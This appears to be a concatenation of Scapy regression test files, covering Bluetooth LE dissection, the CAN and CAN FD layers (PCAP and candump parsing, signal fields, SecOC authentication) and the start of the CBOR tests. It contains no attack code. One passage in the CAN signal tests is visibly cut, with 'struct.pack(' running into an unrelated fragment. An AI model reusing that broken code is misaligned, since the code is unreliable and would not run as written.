BTLE_SCAN_RSP in pkt.layers() = BTLE_RF link a = BTLE_RF()/BTLE()/BTLE_ADV()/BTLE_SCAN_REQ() a.ScanA = "aa:aa:aa:aa:aa:aa" a.AdvA = "bb:bb:bb:bb:bb:bb" a.reference_access_address_valid = 1 a.reference_access_address = 0x8e89bed6 a.phy = 3 a.type = 5 a.noise = -90 a.signal = -75 a.rf_channel = 6 a.access_address_offenses = 10 assert raw(a) == b'\x06\xb5\xa6\n\xd6\xbe\x89\x8e\x90\xc2\xd6\xbe\x89\x8e\x03\x0c\xaa\xaa\xaa\xaa\xaa\xaa\xbb\xbb\xbb\xbb\xbb\xbb\x07\xb2a' a = BTLE_RF(raw(a)) assert a.noise == -90 assert a.signal == -75 assert a.phy == 3 assert a.type == 5 assert a.reference_access_address_valid == 1 assert a[BTLE_SCAN_REQ].ScanA == "aa:aa:aa:aa:aa:aa" + Specific tests after issue GH#1673 = DLT_USER0 with PPI pkt = PPI(b'\x00\x00\x18\x00\x93\x00\x00\x006u\x0c\x00\x00b\t\x00\xe1\xcf\x01\x00\xf1\xe3\x92\x00\xd6\xbe\x89\x8e@\x14M\x95P\x16\xfev\x02\x01\x1a\n\xffL\x00\x10\x05\x0b\x1c\x0e\xa86Z\xf0\x04') assert BTLE_PPI in pkt.headers[0].payload # We MUST NOT detect the BLTE link-layer at this point. This is intentionally # counter to issue 1673 -- Ubertooth One emits incorrect PCAP files. assert BTLE not in pkt = DLT_BLUETOOTH_LE_LL with PPI pkt = PPI(b'\x00\x00\x18\x00\xfb\x00\x00\x006u\x0c\x00\x00b\t\x00\xe1\xcf\x01\x00\xf1\xe3\x92\x00\xd6\xbe\x89\x8e@\x14M\x95P\x16\xfev\x02\x01\x1a\n\xffL\x00\x10\x05\x0b\x1c\x0e\xa86Z\xf0\x04') assert BTLE_PPI in pkt.headers[0].payload # Only now must we detect BTLE. assert BTLE in pkt = DLT_BLUETOOTH_LE_LL without PPI pkt = BTLE_RF(b'\x00\xc6\x80\x00\xd6\xbe\x89\x8e7\x00\xd6\xbe\x89\x8e@\x14\x03g\xa6+\xcbi\x00\x01\x1a\n\xffL\x00\x12E\x03\x18y\x9e\x96\x07\xfa%') assert BTLE_RF in pkt assert BTLE in pkt ================================================ FILE: test/scapy/layers/can.uts ================================================ % Regression tests for the CAN layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Basic operations = Load module import math import random random.seed() load_layer("can", globals_dict=globals()) = Build a packet pkt = CAN(flags="error", identifier=1234, data="test") = Dissect & parse pkt = CAN(raw(pkt)) pkt.flags == "error" and pkt.identifier == 1234 and pkt.length == 4 and pkt.data == b"test" = Check flags values pkt = CAN(flags="remote_transmission_request") pkt.flags == 0x2 pkt = CAN(flags="extended") pkt.flags == 0x4 ############ ############ + Example PCAP file = Read PCAP file * From https://wiki.wireshark.org/SampleCaptures?action=AttachFile&do=get&target=CANopen.pca conf.contribs['CAN']['swap-bytes'] = False from io import BytesIO pcap_fd = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\xe3\x00\x00\x00\xe2\xf3mT\x93\x8c\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x073\x01\x00\x00\x00\x00\xe2\xf3mT\xae\x8c\x03\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x7f\x00\x00\x81\x00\xe2\xf3mTI\x8f\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x07B\x01\x00\x00\x00\x00\xe2\xf3mTM\x8f\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x07c\x01\x00\x00\x00\x00\xe2\xf3mTN\x8f\x03\x00\t\x00\x00\x00\t\x00\x00\x00\x00\x00\x07!\x01\x00\x00\x00\x00\xf8\xf3mTv\x98\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00@\x08\x10\x00\x00\x00\x00\x00\xf8\xf3mT\x96\x98\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x7f\x00\x00A\x08\x10\x00\x15\x00\x00\x00\xf8\xf3mT\xd4\x98\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00`\x00\x00\x00\x00\x00\x00\x00\xf8\xf3mT\x12\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mTC\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x7f\x00\x00\x00UltraHi\xf8\xf3mTx\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mT\xce\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00p\x00\x00\x00\x00\x00\x00\x00\xf8\xf3mT\xe0\x99\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mT \x9a\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08\xf8\xf3mTo\x9a\x04\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x083\xf4mTw\xbe\t\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00@\x08\x10*\x00\x00\x00\x003\xf4mT4\xc0\t\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x08\x10*\x11\x00\t\x06i\xf4mT\xb0\x88\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe5\x08\x7f\x00\x00L\x00\x00\x00\x00\x00\x00\x00i\xf4mT+\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x7f\x00\x00P\x00\x00\x00\x00\x00\x00\x00i\xf4mT-\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x7f\x00\x00P\x00\x00\x00\x00\x00\x00\x00i\xf4mTS\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x7f\x00\x00P\x00\x00\x00\x00\x00\x00\x00i\xf4mT\x99\x89\x0c\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x07\xe4\x08\x00\x00\x00P\x00\x00\x00\x00\x00\x00\x00\x8e\xf4mT\x86\xc4\x04\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01B\x92\xf4mT\xae\xf0\x07\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\xba\xf4mT%\xaa\x0b\x00\n\x00\x00\x00\n\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02c\xe8\xf4mT\xbc\x0f\x06\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00#\x00b\x01asdf\xe8\xf4mT\x07\x10\x06\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00b\x01\x00\x00\x02\x06\x0f\xf5mT\x1c\x81\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00@\x00b\x01\x00\x00\x00\x00\x0f\xf5mT\xfe\x81\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00b\x01\x00\x00\x02\x068\xf5mT\x19\xc3\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00\xa0\x08\x10\x00\x10\x00\x00\x008\xf5mTg\xc3\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x7f\x00\x00\xc2\x08\x10\x00\x15\x00\x00\x008\xf5mT\xd8\xc3\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x088\xf5mT\x17\xc4\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x06B\x08\x7f\x00\x00\xa3\x00\x00\x00\x00\x00\x00\x008\xf5mT\xca\xc4\x00\x00\x10\x00\x00\x00\x10\x00\x00\x00\x00\x00\x05\xc2\x08\x00\x00\x00\x80\x00\x00\x00!\x00\x00\x08') packets = rdpcap(pcap_fd) = Check if parsing worked: each packet has a CAN layer assert all(CAN in pkt for pkt in packets) = Check if parsing worked: no packet has a Raw or Padding layer not any(Raw in pkt or Padding in pkt for pkt in packets) = Identifiers assert set(pkt.identifier for pkt in packets) == {0, 1474, 1602, 1825, 1843, 1858, 1891, 2020, 2021} = Flags assert set(pkt.flags for pkt in packets) == {0} = Data length set(pkt.length for pkt in packets) == {1, 2, 8} = read PCAP of a CookedLinux/SocketCAN capture with CANFD frames conf.contribs['CAN']['swap-bytes'] = True packets = rdpcap(scapy_path("/test/pcaps/canfd.pcap.gz")) = Check if parsing worked: each packet has a CANFD layer assert all(CANFD in pkt[1] for pkt in packets) assert all(pkt.identifier == 0x123 for pkt in packets) assert len(packets) == 4 ############ ############ + swap-bytes and remove-padding functionality (for PF_CAN socket interactions) = read PCAP of a CookedLinux/SocketCAN capture (CAN standard and extended) conf.contribs['CAN']['swap-bytes'] = True conf.contribs['CAN']['remove-padding'] = False pcap_fd_can_a = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00q\x00\x00\x00\x15f`Zv\xde\n\x00 \x00\x00\x00 \x00\x00\x00\x00\x01\x01\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\xdf\x07\x00\x00\x03\x00\x00\x00\x02\x01\r\x00\x00\x00\x00\x00') packets_can_a = rdpcap(pcap_fd_can_a) pcap_fd_can_b = BytesIO(b'\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00q\x00\x00\x00\xf4i`Z\xf3\x99\x07\x00 \x00\x00\x00 \x00\x00\x00\x00\x01\x01\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\xf13\xdb\x98\x03\x00\x00\x00\x02\x01\r\x00\x00\x00\x00\x00') packets_can_b = rdpcap(pcap_fd_can_b) = check CAN is detected over CookedLinux (each packet has both layers) all(CAN in pkt for pkt in packets_can_a) all(CAN in pkt for pkt in packets_can_b) all(CookedLinux in pkt for pkt in packets_can_a) all(CookedLinux in pkt for pkt in packets_can_b) = Check if parsing worked: no packet has a Raw or Padding layer not any(Raw in pkt or Padding in pkt for pkt in packets) = Check byte swap for dissection packets_can_a[0].identifier == 0x7df packets_can_a[0].flags == 0x0 packets_can_b[0].identifier == 0x18db33f1 packets_can_b[0].flags == "extended" = Check byte swap-back for building raw(packets_can_a[0]) == b'\x00\x01\x01\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\xdf\x07\x00\x00\x03\x00\x00\x00\x02\x01\r\x00\x00\x00\x00\x00' raw(packets_can_b[0]) == b'\x00\x01\x01\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\xf13\xdb\x98\x03\x00\x00\x00\x02\x01\r\x00\x00\x00\x00\x00' conf.contribs['CAN']['swap-bytes'] = False = Check building CAN packet with not padded data field * check building p = CAN(flags='error', identifier=1234, data=b'') bytes(p) p = CAN(flags='error', identifier=1234, data=b'\x0a\x0b') bytes(p) * check padding handling p_too_much_data = CAN(flags='error', length=1, identifier=1234, data=b'\x01\x02') p = CAN(bytes(p_too_much_data)) p.haslayer('Padding') and p['Padding'].load == b'\x02' + rdcandump = Check rdcandump default * default reading conf.contribs['CAN']['remove-padding'] = True pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan0 1F334455#1122334455667788 (1539191494.084177) vcan0 1F334455#1122334455667788 (1539191494.724228) vcan0 1F334455#1122334455667788 (1539191495.148182) vcan0 1F334455#1122334455667788 (1539191495.563320) vcan0 1F334455#1122334455667788 (1539191470.820239) vcan0 123##1112233445566778899aabbccddeeff (1539191495.563320) vcan0 1F334455##1112233445566778899aabbccddeeff''') packets = rdcandump(pcap_fd) assert len(packets) == 11 assert packets[0].identifier == 0x123 assert packets[8].identifier == 0x1F334455 assert packets[8].flags == 0b100 assert packets[0].length == 4 assert packets[8].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[8].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[9].identifier == 0x123 assert packets[10].identifier == 0x1F334455 assert packets[9].data == b'\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff' assert packets[10].data == b'\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff' = Check rdcandump_iterable default * default reading pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan0 1F334455#1122334455667788 (1539191494.084177) vcan0 1F334455#1122334455667788 (1539191494.724228) vcan0 1F334455#1122334455667788 (1539191495.148182) vcan0 1F334455#1122334455667788 (1539191495.563320) vcan0 1F334455#1122334455667788 (1539191470.820239) vcan0 123##1112233445566778899aabbccddeeff (1539191495.563320) vcan0 1F334455##1112233445566778899aabbccddeeff''') packets = [x for x in CandumpReader(pcap_fd)] assert len(packets) == 11 assert packets[0].identifier == 0x123 assert packets[8].identifier == 0x1F334455 assert packets[8].flags == 0b100 assert packets[0].length == 4 assert packets[8].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[8].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[9].identifier == 0x123 assert packets[10].identifier == 0x1F334455 assert packets[9].data == b'\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff' assert packets[10].data == b'\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff' = Check rdcandump filter * interface filter 1 pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan1 123#11223344 (1539191471.503168) vcan1 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan0 1F334455#1122334455667788 (1539191494.084177) vcan1 1F334455#1122334455667788 (1539191494.724228) vcan1 1F334455#1122334455667788 (1539191495.148182) vcan0 1F334455#1122334455667788 (1539191495.563320) vcan1 1F334455#1122334455667788''') packets = rdcandump(pcap_fd, interface="vcan0") assert len(packets) == 4 assert packets[0].identifier == 0x123 assert packets[-1].identifier == 0x1F334455 assert packets[-1].flags == 0b100 assert packets[0].length == 4 assert packets[-1].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[-1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' * interface filter 2 pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan1 1F334455#1122334455667788 (1539191494.084177) vcan1 1F334455#1122334455667788 (1539191494.724228) vcan1 1F334455#1122334455667788 (1539191495.148182) vcan1 1F334455#1122334455667788 (1539191495.563320) vcan1 1F334455#1122334455667788''') packets = rdcandump(pcap_fd, interface="vcan0") assert len(packets) == 4 assert packets[0].identifier == 0x123 assert packets[0].length == 4 assert packets[0].data == b'\x11\x22\x33\x44' * interface filter 3 pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan1 1F334455#1122334455667788 (1539191494.084177) vcan1 1F334455#1122334455667788 (1539191494.724228) vcan1 1F334455#1122334455667788 (1539191495.148182) vcan1 1F334455#1122334455667788 (1539191495.563320) vcan1 1F334455#1122334455667788''') packets = rdcandump(pcap_fd, interface="vcan1") assert len(packets) == 5 assert packets[-1].identifier == 0x1F334455 assert packets[-1].flags == 0b100 assert packets[-1].length == 8 assert packets[-1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' * interface filter 4 pcap_fd = BytesIO(b'''(1539191392.761779) vcan2 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan2 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan1 1F334455#1122334455667788 (1539191494.084177) vcan1 1F334455#1122334455667788 (1539191494.724228) vcan2 1F334455#1122334455667788 (1539191495.148182) vcan1 1F334455#1122334455667788 (1539191495.563320) vcan2 1F334455#1122334455667788''') packets = rdcandump(pcap_fd, interface=["vcan1", "vcan0"]) assert len(packets) == 5 assert packets[0].identifier == 0x123 assert packets[-1].identifier == 0x1F334455 assert packets[-1].flags == 0b100 assert packets[0].length == 4 assert packets[-1].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[-1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' + Check rdcandump not log file format = interface not log file format pcap_fd = BytesIO(b''' vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44 vcan0 1F334455 [09] 11 22 33 44 55 66 77 88 99 vcan0 1F3 [09] 11 22 33 44 55 66 77 88 99 ''') packets = rdcandump(pcap_fd) assert len(packets) == 10 packets[-1].show() assert packets[-3].identifier == 0x1F3 assert packets[1].identifier == 0x1F3 assert packets[0].identifier == 0x1F334455 assert packets[0].flags == 0b100 assert packets[-3].length == 4 assert packets[0].length == 8 assert packets[1].length == 8 assert packets[-1].length == 9 assert packets[8].length == 9 assert packets[-3].data == b'\x11\x22\x33\x44' assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[8].data == b'\x11\x22\x33\x44\x55\x66\x77\x88\x99' assert packets[-1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88\x99' = interface not log file format filtered 1 pcap_fd = BytesIO(b''' vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan1 1F3 [8] 11 22 33 44 55 66 77 88 vcan1 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan1 1F334455 [8] 11 22 33 44 55 66 77 88 vcan1 1F334455 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44 vcan0 1F334455 [09] 11 22 33 44 55 66 77 88 99 vcan1 1F3 [09] 11 22 33 44 55 66 77 88 99 ''') packets = rdcandump(pcap_fd, interface="vcan0") assert len(packets) == 5 assert packets[-2].identifier == 0x1F3 assert packets[2].identifier == 0x1F3 assert packets[0].identifier == 0x1F334455 assert packets[-1].identifier == 0x1F334455 assert packets[0].flags == 0b100 assert packets[-2].length == 4 assert packets[0].length == 8 assert packets[2].length == 8 assert packets[-1].length == 9 assert packets[-2].data == b'\x11\x22\x33\x44' assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[2].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[-1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88\x99' = interface not log file format filtered 2 pcap_fd = BytesIO(b''' vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan1 1F3 [8] 11 22 33 44 55 66 77 88 vcan2 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan1 1F334455 [8] 11 22 33 44 55 66 77 88 vcan2 1F334455 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44 ''') packets = rdcandump(pcap_fd, interface=["vcan0", "vcan1"]) assert len(packets) == 6 assert packets[-1].identifier == 0x1F3 assert packets[1].identifier == 0x1F3 assert packets[0].identifier == 0x1F334455 assert packets[0].flags == 0b100 assert packets[-1].length == 4 assert packets[0].length == 8 assert packets[1].length == 8 assert packets[-1].data == b'\x11\x22\x33\x44' assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' + Check rdcandump count = interface not log file format filtered 2 count 1 pcap_fd = BytesIO(b''' vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan1 1F3 [8] 11 22 33 44 55 66 77 88 vcan2 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan2 1F334455 [8] 11 22 33 44 55 66 77 88 vcan2 1F334455 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44 ''') packets = rdcandump(pcap_fd, interface=["vcan2"], count=2) assert len(packets) == 2 assert packets[0].identifier == 0x1F3 assert packets[-1].identifier == 0x1F334455 assert packets[-1].flags == 0b100 assert packets[-1].length == 8 assert packets[0].length == 8 assert packets[1].length == 8 assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' = interface not log file format filtered 2 count 2 pcap_fd = BytesIO(b''' vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan1 1F3 [8] 11 22 33 44 55 66 77 88 vcan2 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F334455 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan2 1F334455 [8] 11 22 33 44 55 66 77 88 vcan2 1F334455 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44 ''') packets = rdcandump(pcap_fd, count=2) assert len(packets) == 2 assert packets[1].identifier == 0x1F3 assert packets[0].identifier == 0x1F334455 assert packets[0].flags == 0b100 assert packets[-1].length == 8 assert packets[0].length == 8 assert packets[1].length == 8 assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' = default reading pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan0 1F334455#1122334455667788 (1539191494.084177) vcan0 1F334455#1122334455667788 (1539191494.724228) vcan0 1F334455#1122334455667788 (1539191495.148182) vcan0 1F334455#1122334455667788 (1539191495.563320) vcan0 1F334455#1122334455667788''') packets = rdcandump(pcap_fd, count=5) assert len(packets) == 5 assert packets[0].identifier == 0x123 assert packets[-1].identifier == 0x1F334455 assert packets[-1].flags == 0b100 assert packets[0].length == 4 assert packets[-1].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[-1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' + Check rdcandump default extended frames id < 0x7ff = default reading pcap_fd = BytesIO(b'''(1539191392.761779) vcan0 123#11223344 (1539191470.820239) vcan0 123#11223344 (1539191471.503168) vcan0 123#11223344 (1539191471.891423) vcan0 123#11223344 (1539191492.026403) vcan0 00000055#1122334455667788 (1539191494.084177) vcan0 00000055#1122334455667788 (1539191494.724228) vcan0 00000055#1122334455667788 (1539191495.148182) vcan0 00000055#1122334455667788 (1539191495.563320) vcan0 00000055#1122334455667788 (1539191494.724228) vcan0 00000055##1112233445566778899''') packets = rdcandump(pcap_fd) assert len(packets) == 10 assert packets[0].identifier == 0x123 assert packets[8].identifier == 0x55 assert packets[8].flags == 0b100 assert packets[0].length == 4 assert packets[8].length == 8 assert packets[0].data == b'\x11\x22\x33\x44' assert packets[8].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[8].identifier == 0x55 assert packets[8].flags == 0b100 assert packets[9].length == 9 assert packets[9].data == b'\x11\x22\x33\x44\x55\x66\x77\x88\x99' = interface not log file format pcap_fd = BytesIO(b''' vcan0 00000055 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 00000055 [8] 11 22 33 44 55 66 77 88 vcan0 1F3 [8] 11 22 33 44 55 66 77 88 vcan0 00000055 [8] 11 22 33 44 55 66 77 88 vcan0 00000055 [4] 11 22 33 44 vcan0 1F3 [4] 11 22 33 44''') packets = rdcandump(pcap_fd) assert len(packets) == 8 packets[-1].show() assert packets[-1].identifier == 0x1F3 assert packets[1].identifier == 0x1F3 assert packets[0].identifier == 0x55 assert packets[0].flags == 0b100 assert packets[-1].length == 4 assert packets[0].length == 8 assert packets[1].length == 8 assert packets[-1].data == b'\x11\x22\x33\x44' assert packets[0].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' assert packets[1].data == b'\x11\x22\x33\x44\x55\x66\x77\x88' ######## ######## + CAN Signals = Test invalid fields_desc class testFrame1(SignalPacket): fields_desc = [ ByteField("sig0", 0), SignalField("sig1", default=0, start=7, size=6, fmt=">B") ] passed = False try: testFrame1(b"\xff\xff") except Scapy_Exception: passed = True assert passed = Test invalid fields_desc with ConditionalField class testFrame1(SignalPacket): fields_desc = [ ConditionalField(ByteField("sig0", 0), lambda x: True), SignalField("sig1", default=0, start=7, size=6, fmt=">B") ] passed = False try: testFrame1(b"\xff\xff") except Scapy_Exception: passed = True assert passed = Motorola byte order (Big Endian) dissect test class testFrame1(SignalPacket): fields_desc = [ SignalField("sig0", default=0, start=1, size=2, fmt=">B"), SignalField("sig1", default=0, start=7, size=6, fmt=">B"), SignalField("sig2", default=0, start=15, size=11, fmt=">B"), SignalField("sig3", default=0, start=20, size=12, fmt=">B"), SignalField("sig4", default=0, start=24, size=9, fmt=">B"), SignalField("sig7", default=0, start=47, size=10, fmt=">B"), SignalField("sig5", default=0, start=50, size=3, fmt=">B"), SignalField("sig6", default=0, start=53, size=3, fmt=">B"), SignalField("sig8", default=0, start=58, size=3, fmt=">B"), SignalField("sig9", default=0, start=61, size=3, fmt=">B"), SignalField("sig10", default=0, start=63, size=2, fmt=">B") ] pkt = testFrame1(b'\xff\xff\xff\xff\xff\xff\xff\xff') assert pkt.sig0 == 3 assert pkt.sig1 == 0x3f assert pkt.sig2 == 0x7ff assert pkt.sig3 == 0xfff assert pkt.sig4 == 0x1ff assert pkt.sig7 == 0x3ff assert pkt.sig5 == 7 assert pkt.sig6 == 7 assert pkt.sig8 == 7 assert pkt.sig9 == 7 assert pkt.sig10 == 3 pkt = testFrame1(struct.pack("= 0] lz = [x for x in li if math.isnan(x) == False and x < 0] nan = [x for x in li if math.isnan(x)] assert len(nan) >= 0 assert abs(len(gz) - len(lz)) < (testlen // 10) + SECOC CANFD = Load SecOC_CANFD load_contrib("automotive.autosar.secoc_canfd", globals_dict=globals()) = Test SecOC_CANFD build #SecOC_CANFD.register_secoc_protected_pdu(0x123) pkt = SecOC_CANFD(identifier=0x123, pdu_payload=bytes.fromhex("1122334455667788AABBCCDDEEFF0011")) pkt.show2() canfd = CANFD(bytes(pkt)) canfd.show2() pkt = SecOC_CANFD(bytes(pkt)) assert pkt.identifier == canfd.identifier assert pkt.data == canfd.data assert pkt.length == canfd.length SecOC_CANFD.register_secoc_protected_pdu(0x123) pkt = CANFD(identifier=0x123, data=bytes.fromhex("1122334455667788AABBCCDDEEFF001122334455")) canfd = CANFD(bytes(pkt)) canfd.show2() pkt = SecOC_CANFD(bytes(pkt)) pkt.show2() assert pkt.identifier == canfd.identifier assert bytes(pkt.pdu_payload) == bytes(canfd.data)[:-4] assert pkt.length == canfd.length assert pkt.tfv == 0x22 assert pkt.tmac == b"\x33\x44\x55" pkt.secoc_authenticate() assert pkt.tfv == 0 assert pkt.tmac != b"\x33\x44\x55" if conf.crypto_valid: from cryptography.hazmat.primitives import cmac from cryptography.hazmat.primitives.ciphers import algorithms c = cmac.CMAC(algorithms.AES128(b"\x00" * 16)) c.update(bytes.fromhex("1122334455667788AABBCCDDEEFF0011") + bytes.fromhex("00000000")) mac = c.finalize() assert pkt.tmac == mac[:3] ================================================ FILE: test/scapy/layers/cbor.uts ================================================ % Tests for CBOR encoding/decoding # Following the ASN.1 test paradigm # # Try me with: # bash test/run_tests -t test/scapy/layers/cbor.uts -F # # NOTE: Interoperability tests require cbor2 (test-only dependency): # pip install cbor2 # cbor2 is used ONLY in tests, NOT in the scapy CBOR implementation ########### CBOR Basic Types ####################################### + CBOR Unsigned Integer = Encode small unsigned integer (0-23) from scapy.cbor import * obj = CBOR_UNSIGNED_INTEGER(0) bytes(obj) == b'\x00' = Encode unsigned integer with 1-byte value obj = CBOR_UNSIGNED_INTEGER(24) bytes(obj) == 